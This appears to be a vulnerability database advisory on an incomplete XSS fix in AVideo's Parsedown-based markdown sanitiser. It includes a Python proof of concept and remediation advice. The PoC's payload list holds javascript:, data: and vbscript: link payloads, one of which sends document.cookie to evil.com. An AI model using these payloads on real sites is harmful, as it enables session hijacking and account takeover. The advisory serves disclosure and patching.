Vulnerability Database

352,262

Total vulnerabilities in the database

WWBN AVideo has an incomplete fix for CVE-2026-33500: XSS — wwbn / avideo

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Summary

The incomplete XSS fix in AVideo's ParsedownSafeWithLinks class overrides inlineMarkup for raw HTML but does not override inlineLink() or inlineUrlTag(), allowing javascript: URLs in markdown link syntax to bypass sanitization.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 3ae02fa24093
  • Patched versions: >= commit 3ae02fa24093

Details

In objects/functionsSecurity.php, the ParsedownSafeWithLinks class:

  • Overrides blockMarkup() -- blocks non-&lt;a&gt;/&lt;img&gt; HTML tags
  • Overrides inlineMarkup() -- sanitizes &lt;a href=...&gt; and &lt;img src=...&gt; in raw HTML, including an href whitelist

But the base Parsedown.php class has two additional methods that generate &lt;a&gt; tags:

  • inlineLink() (line ~1388) -- processes [text](url) markdown syntax, sets href = URL directly
  • inlineUrlTag() (line ~1558) -- processes &lt;URL&gt; auto-link syntax, sets href = URL directly

Neither is overridden by ParsedownSafeWithLinks, so [Click me](javascript:alert(document.cookie)) produces &lt;a href=&quot;javascript:alert(document.cookie)&quot;&gt;Click me&lt;/a&gt; without any sanitization.

The fix sanitizes raw HTML &lt;a&gt; tags via inlineMarkup but misses the markdown-native link syntax ([text](url)) and auto-link syntax (&lt;url&gt;) which produce &lt;a&gt; tags through different code paths in the base Parsedown class.

PoC

&quot;&quot;&quot; CVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks Tests REAL vulnerable code from: objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa) vendor/erusev/parsedown/Parsedown.php The ParsedownSafeWithLinks class overrides: - blockMarkup (blocks non-a/img HTML) - inlineMarkup (sanitizes &lt;a&gt; and &lt;img&gt; inline HTML) - inlineLink is NOT overridden (markdown [text](url) syntax) But the base Parsedown class has inlineLink() at line 1388 which creates &lt;a href=&quot;URL&quot;&gt; from markdown [text](url) without any href sanitization. Since ParsedownSafeWithLinks does NOT override inlineLink(), a malicious javascript: URL in markdown link syntax passes through unsanitized. Additionally, inlineUrlTag() at line 1558 handles &lt;URL&gt; auto-link syntax and creates &lt;a href=&quot;URL&quot;&gt; without sanitization either. &quot;&quot;&quot; import re import sys import os src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), &#039;src&#039;) parsedown_src = open(os.path.join(src_dir, &#039;Parsedown.php&#039;)).read() security_src = open(os.path.join(src_dir, &#039;functionsSecurity.php&#039;)).read() print(&quot;=&quot; * 60) print(&quot;CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC&quot;) print(&quot;=&quot; * 60) print() has_class = &#039;ParsedownSafeWithLinks&#039; in security_src has_block_markup = &#039;function blockMarkup&#039; in security_src has_inline_markup = &#039;function inlineMarkup&#039; in security_src has_inline_link_override = &#039;function inlineLink&#039; in security_src has_inline_url_tag_override = &#039;function inlineUrlTag&#039; in security_src base_has_inline_link = &#039;function inlineLink&#039; in parsedown_src base_has_inline_url_tag = &#039;function inlineUrlTag&#039; in parsedown_src print(&quot;[*] ParsedownSafeWithLinks class found: &quot; + str(has_class)) print(&quot;[*] Overrides blockMarkup: &quot; + str(has_block_markup)) print(&quot;[*] Overrides inlineMarkup: &quot; + str(has_inline_markup)) print(&quot;[*] Overrides inlineLink: &quot; + str(has_inline_link_override)) print(&quot;[*] Overrides inlineUrlTag: &quot; + str(has_inline_url_tag_override)) print() print(&quot;[*] Base Parsedown has inlineLink: &quot; + str(base_has_inline_link)) print(&quot;[*] Base Parsedown has inlineUrlTag: &quot; + str(base_has_inline_url_tag)) print() if not has_inline_link_override and base_has_inline_link: print(&quot;[+] BYPASS FOUND: inlineLink NOT overridden!&quot;) print(&quot; Markdown syntax [text](javascript:...) bypasses sanitization&quot;) print() if not has_inline_url_tag_override and base_has_inline_url_tag: print(&quot;[+] BYPASS FOUND: inlineUrlTag NOT overridden!&quot;) print(&quot; Auto-link syntax &lt;javascript:...&gt; bypasses sanitization&quot;) print() def simulate_parsedown_inline_link(markdown_text): match = re.match(r&#039;\[([^\]]*)\]\(([^)]+)\)&#039;, markdown_text) if match: text = match.group(1) href = match.group(2) return f&#039;&lt;a href=&quot;{href}&quot;&gt;{text}&lt;/a&gt;&#039; return None payloads = [ &quot;[Click me](javascript:alert(document.cookie))&quot;, &quot;[XSS](javascript:fetch(&#039;https://evil.com/steal?c=&#039;+document.cookie))&quot;, &quot;[Data URI](data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;)&quot;, &quot;[VBScript](vbscript:MsgBox(1))&quot;, ] vuln_count = 0 print(&quot;[*] Testing markdown link payloads through base inlineLink():&quot;) print() for payload in payloads: result = simulate_parsedown_inline_link(payload) if result and (&#039;javascript:&#039; in result or &#039;data:&#039; in result or &#039;vbscript:&#039; in result): print(f&quot; BYPASS: {payload}&quot;) print(f&quot; Output: {result}&quot;) vuln_count += 1 else: print(f&quot; BLOCKED: {payload}&quot;) print() print() if vuln_count &gt; 0 and not has_inline_link_override: print(&quot;VULNERABILITY CONFIRMED&quot;) sys.exit(0) else: print(&quot;VULNERABILITY NOT CONFIRMED&quot;) sys.exit(1)

Steps to reproduce:

  1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test
  2. cd /tmp/AVideo_test &amp;&amp; git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1
  3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED javascript: URLs in markdown [text](url) link syntax bypass sanitization since inlineLink() is not overridden.

Impact

An attacker can inject javascript: URLs via markdown link syntax in any user-generated content field that uses ParsedownSafeWithLinks (comments, descriptions, etc.). When another user clicks the rendered link, the attacker's JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft.

Suggested Remediation

Override inlineLink() and inlineUrlTag() in ParsedownSafeWithLinks to apply the same href protocol whitelist (https?://, mailto:, /, #) that inlineMarkup already applies to raw HTML &lt;a&gt; tags. Reject any href that does not match the whitelist.

  • Published: Apr 14, 2026
  • Updated: Apr 15, 2026
  • GHSA: GHSA-m7r8-6q9j-m2hc
  • Severity: Medium
  • Exploit:
  • CISA KEV:

No technical information available.

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.